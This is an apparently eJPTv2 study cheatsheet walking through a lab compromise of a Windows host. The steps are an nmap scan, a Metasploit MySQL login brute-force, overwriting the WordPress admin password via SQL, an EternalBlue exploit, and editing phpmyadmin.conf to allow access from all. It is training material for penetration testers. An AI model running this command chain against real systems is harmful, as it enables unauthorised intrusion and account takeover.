> For the complete documentation index, see [llms.txt](https://yashmehta.gitbook.io/ejptv2-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yashmehta.gitbook.io/ejptv2-cheatsheet/exploitation/windows-exploitation/mysql.md).
# MySQL
### Here we are exploiting a MySQL database server and changing credentials of wordpress file and then also gaining access to phpmyadmin page
* **Port scanning** with `nmap`
```
nmap -sV 10.2.29.246
# Scans 1000 common ports
```
```
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL 5.5.20-log
4848/tcp open ssl/http Oracle Glassfish Application Server
7676/tcp open java-message-service Java Message Service 301
8080/tcp open http Sun GlassFish Open Source Edition 4.0
8181/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
9200/tcp open wap-wsp?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```
* Access the web server with a browser
* `http://10.2.29.246/`
* `http://10.2.29.246/hahaha.jpg`
* View page source
* Other webpages
* `https://10.2.29.246:4848/`
* `http://10.2.29.246:8080/`
* `http://10.2.29.246:9200/`
* `http://10.2.29.246:8484/`
* `http://10.2.29.246:8585/`
* `http://10.2.29.246:8585/wordpress/`
## #MySQL
```
nmap -sV -sC -p 3306,8585 10.2.26.45
```
```
3306/tcp open mysql MySQL 5.5.20-log
8585/tcp open http Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
```
* Search for MySQL exploits
```
searchsploit MySQL 5.5
# There are only Privilege Escalation exploits
```
* **Brute-force MySQL**
```
msfconsole
```
```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.2.26.45
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
run
```
```
[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Found remote MySQL version 5.5.20
[!] 10.2.26.45:3306 - No active DB -- Credential data will not be saved!
[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Success: 'root:'
```
> 📌 `root` password is empty
```
mysql -u root -p -h 10.2.26.45
```
```
show databases;
use wordpress;
show tables;
select * from wp_users;
```
* Change `admin` WordPress user's password
> ❗ **DO NOT Change passwords in a real pentest**
```
UPDATE wp_users SET user_pass = MD5('password123') WHERE user_login = 'admin';
```
* Access via browser
* `http://10.2.26.45:8585/wordpress/wp-admin`
* Try to gain access to **phpMyAdmin** using MSF
* Access the target through SMB and modify phpMyAdmin configuration file
```
# Open the MSF tab
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.2.26.45
run
```
```
sysinfo
```
* Move into the `wamp` folder
```
cd /
cd wamp
dir
cd www\\wordpress
cat wp-config.php
```
* Change WordPress `admin` password
```
cd C:\\wamp\\alias
download phpmyadmin.conf
# In another terminal modify the file
vim /root/Desktop/phpmyadmin.conf
# modify it by deleting the lines under "AllowOverride all" and insert
Allow from all
# Write and close
```
phpmyadmin.conf
```
# In the MSFconsole
upload phpmyadmin.conf
# Apache service must be restarted
shell
net stop wampapache
net start wampapache
```
* Access phpMyAdmin
* `http://10.2.26.45:8585/phpmyadmin/`
* it automatically logs in since the `root` password is `null`
phpMyAdmin
> ❗ **DO NOT Change passwords in a real pentest**
